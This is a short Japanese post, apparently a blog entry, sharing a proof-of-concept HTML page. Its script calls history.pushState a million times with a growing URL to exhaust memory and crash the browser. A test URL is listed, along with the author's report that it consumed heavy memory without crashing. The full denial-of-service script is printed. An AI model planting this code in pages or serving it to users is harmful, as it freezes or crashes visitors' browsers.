TwitterアカウントCybersecurityにより、公開したコードです。
history.pushStateは任意URLをブラウザ閲覧履歴に追加するHTML5のAPIです。
大量に追加したら、メモリ不足エラーが発生し、ブラウザが強制終了したりするようです。
<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
total= total+i.toString();
history.pushState(0,0,total);
}
</script>
</body>
</html>
テストURL: http://www.eison.xyz/demo.htm
実際にアクセスすると、ブラウザが強制終了していないが、かなりメモリーが食っているので、手動でプロセスを終了しました。アクセスするとき、ご注意ください。